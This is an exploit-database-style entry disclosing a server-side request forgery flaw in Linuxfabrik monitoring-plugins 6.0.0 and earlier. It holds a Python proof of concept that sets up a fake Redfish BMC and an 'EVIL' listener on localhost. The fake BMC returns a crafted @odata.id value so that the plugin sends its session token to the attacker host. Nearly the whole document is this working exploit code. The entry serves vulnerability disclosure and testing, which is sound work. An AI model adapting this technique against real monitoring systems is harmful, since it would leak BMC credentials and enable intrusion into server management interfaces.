# Exploit Title: Linuxfabrik monitoring_plugins_6.0.0 - SSRF

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/Linuxfabrik/monitoring-plugins

# Software Link: https://github.com/Linuxfabrik/monitoring-plugins

# Version: Linuxfabrik monitoring-plugins <= 6.0.0 (fixed 6.0.1)

# Tested on: Linux

# CVE: N/A

# Category: webapps

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-96fx-pqc3-28xv-monitoring-plugins



An @odata.id value without a leading '/' rewrites the request authority; the plugin re-fetches with the Redfish Authorization header attached, leaking BMC credentials to an attacker host. Advisory: GHSA-96fx-pqc3-28xv.



The PoC is a benign, local verification harness (sentinel-based; no network attack, no

persistence, no destructive payload). Run against a local instance of the affected version.



--- PoC (redfish_ssrf_token_poc.py) ---

import http.server, json, subprocess, threading, os, sys

BMC_PORT, EVIL_PORT = 18080, 18081

EVIL_HITS = []

TOKEN = 'SESSION-TOKEN-SECRET-abc123'

class BMC(http.server.BaseHTTPRequestHandler):

    def _j(self, obj, extra=None):

        b=json.dumps(obj).encode(); self.send_response(200)

        self.send_header('Content-Type','application/json')

        if extra:

            for k,v in extra.items(): self.send_header(k,v)

        self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)

    def do_POST(self):   # session create -> issue token

        self._j({'@odata.id':'/redfish/v1/SessionService/Sessions/1'}, extra={'X-Auth-Token':TOKEN})

    def do_GET(self):

        if self.path.endswith('/SessionService'):

            self._j({'SessionTimeout':600})

        elif self.path.endswith('/Systems'):

            self._j({'Members':[{'@odata.id':f'@127.0.0.1:{EVIL_PORT}/pivot'}]})

        else:

            self._j({'Members':[]})

    def log_message(self,*a): pass

class EVIL(http.server.BaseHTTPRequestHandler):

    def _rec(self):

        EVIL_HITS.append((self.command,self.path,self.headers.get('X-Auth-Token'),self.headers.get('Authorization')))

        b=b'{"Members": []}'; self.send_response(200)

        self.send_header('Content-Type','application/json'); self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)

    do_GET=_rec; do_POST=_rec

    def log_message(self,*a): pass

def serve(port,h):

    httpd=http.server.ThreadingHTTPServer(('127.0.0.1',port),h)

    threading.Thread(target=httpd.serve_forever,daemon=True).start()

serve(BMC_PORT,BMC); serve(EVIL_PORT,EVIL)

env=dict(os.environ,PYTHONPATH='/opt')

plugin='/mp/check-plugins/redfish-ethernetinterfaces/redfish-ethernetinterfaces'

cmd=[sys.executable,plugin,'--url',f' http://127.0.0.1:{BMC_PORT}','--username','monitor','--password','pw','--cache-expire','1 ']

p=subprocess.run(cmd,env=env,capture_output=True,text=True,timeout=60)

print('plugin stdout:',p.stdout[:200]); print('plugin stderr:',p.stderr[:300])

print('EVIL hits:',len(EVIL_HITS))

for m,path,tok,auth in EVIL_HITS:

    print(f'  {m} {path}  X-Auth-Token={tok}  Authorization={auth}')

print('>>> TOKEN LEAKED TO ATTACKER HOST' if any(t==TOKEN for _,_,t,_ in EVIL_HITS) else '>>> token not leaked')